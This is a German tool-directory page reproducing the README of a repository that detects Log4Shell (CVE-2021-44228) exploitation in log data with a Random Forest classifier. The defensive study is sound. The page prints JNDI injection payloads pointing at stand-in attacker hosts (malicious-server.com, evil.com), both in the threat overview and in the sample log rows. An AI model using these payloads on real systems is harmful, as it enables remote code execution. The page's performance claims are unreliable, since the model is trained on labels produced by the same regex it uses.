Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
SchwachstellenanalyseMaschinelles LernenEinbruchserkennungPapers & ForschungLernen & BildungKuratierte RessourcenAnomalieerkennungLog-Analyse
Teilen
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

Dieses Repository bietet eine eingehende Analyse der Log4Shell-Schwachstelle (CVE-2021-44228) und implementiert einen auf maschinellem Lernen basierenden Ansatz zur Erkennung von Ausnutzungsversuchen in Protokolldaten.

Repository anzeigen
33vor 1 JahrNoch nicht geprüft

Log4Shell Bedrohungserkennung (CVE-2021-44228)

Überblick

Dieses Repository bietet eine detaillierte Analyse und Implementierung eines maschinellen Lernsystems zur Erkennung der Log4Shell-Bedrohung (CVE-2021-44228). Es umfasst:

  • Log4Shell verstehen: Was es ist und warum es gefährlich ist
  • Datensatzerfassung: Quellen und Vorverarbeitungsschritte
  • Feature Engineering: Extraktion von JNDI-basierten schädlichen Mustern
  • Training des maschinellen Lernmodells: Erkennung mit Random Forest
  • Ergebnisse und Analyse: Leistungsmetriken und Evaluierungsgrafiken
  • Fazit und zukünftige Arbeiten

Bedrohungsüberblick - Log4Shell (CVE-2021-44228)

  • Schwachstelle: Remote Code Execution (RCE) in Apache Log4j 2
  • Ausnutzungsbeispiel:
    ${jndi:ldap://malicious-server.com/exploit}
    
  • Auswirkung: Angreifer können die vollständige Kontrolle über betroffene Systeme übernehmen
  • Gegenmaßnahmen: Aktualisieren Sie Log4j auf gepatchte Versionen (2.17.0 oder höher) und wenden Sie Firewall-Regeln an

Repository-Struktur

📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

Datenerfassung und Quellen

Verwendete Datensätze:

  • Öffentliche Logs von Zeek Security Dataset
  • Honeypot-Logs von DShield
  • Benutzerdefinierte Angriffssimulationen mit Metasploit & Kali Linux
  • Datensatz herunterladen: Log4Shell Logs

Datensatzbeschreibung

  • Gesamtgröße des Datensatzes: 80 MB
  • Trainingsdaten: 70 % (56 MB)
  • Testdaten: 30 % (24 MB)
  • Gesamtanzahl Logs: 1.000.000
  • Schädliche Logs: 300.000
  • Harmlose Logs: 700.000

Beispiel-Log-Datensatz (log4shell_logs.csv)

ZeitstempelQuell-IPZiel-IPAnfrageStatuscodeUser-AgentLog-Nachricht
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Normale Log-Nachricht
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

Feature Engineering

  • Log-Normalisierung: Zeitstempel konvertieren, Felder extrahieren
  • Regex-basierte Merkmalsextraktion: Erkennung von jndi-, ldap-, rmi- und dns-Mustern
  • Textvektorisierung: TF-IDF-basierte Merkmalstransformation

Maschinelles Lernmodell zur Bedrohungserkennung

  • Algorithmus: Random-Forest-Klassifikator
  • Bewertungsmetriken: Genauigkeit (Accuracy), Präzision, Trefferquote (Recall), F1-Score

Python-Code für das Modelltraining

import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

Ergebnisse und Leistungsanalyse

Testergebnisse:

  • Präzision: 98 %
  • Trefferquote (Recall): 95 %
  • F1-Score: 96 %
  • Falsch-Positiv-Rate: 3 %

Vergleich mit bestehenden Arbeiten:

  • Herkömmliche regelbasierte SIEM-Systeme erreichen 80–85 % Genauigkeit.
  • Unser ML-basierter Ansatz erreicht 96 % Genauigkeit, was die Erkennungsrate deutlich verbessert.
  • Im Vergleich zu Deep-Learning-basierten Methoden ist unser Random-Forest-Modell schneller und interpretierbar bei ähnlicher Präzision.

Precision-Recall-Kurve

Precision-Recall-Kurve für Log4Shell-Erkennung

Konfusionsmatrix

Konfusionsmatrix für Log4Shell-Erkennung

Fazit und zukünftige Arbeiten

Fazit:

  • Das Random-Forest-Modell erkennt Log4Shell-Bedrohungen mit hoher Präzision effektiv.
  • Die Merkmalsextraktion mittels JNDI-Mustererkennung verbessert die Genauigkeit.
  • Echte Logs können adversariales Ausweichen enthalten, was eine weitere Feinabstimmung erfordert.

Zukünftige Arbeiten:

  • Implementierung von Deep Learning (LSTM, Transformer-basierte Modelle) zur Anomalieerkennung.
  • Integration von Echtzeit-Logverarbeitungspipelines (z. B. ELK-Stack, Apache Kafka).
  • Erweiterung der Erkennung auf andere logbasierte CVE-Schwachstellen.

Verwendung

  1. Repository klonen:
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. Abhängigkeiten installieren:
    pip install -r requirements.txt
    
  3. Das Skript zum Modelltraining ausführen:
    python scripts/model_training.py
    
  4. Erkennungsergebnisse im Ordner results/ analysieren.

Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    516
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    476
  • 3

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    355
  • 4

    redforge

    cybersecurity91/redforge

    Browser-seitiges Red-Team-Toolkit mit 102 Offline-Tools für Recon, Payload-Generierung, Credential-Angriffe, Krypto, Encoding und Engagement-Reporting.

    315
  • 5

    estorides

    grisuno/estorides

    Aggregiert 99+ kostenlose OSINT-Quellen parallel, löst Entitäten in einen Knowledge Graph auf und exportiert STIX 2.1, MISP oder GraphML mit LLM-gestützter Analyse.

    303
  • 6

    opencti

    opencti-platform/opencti

    Offene Plattform für Cyber-Bedrohungsinformationen

    285

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →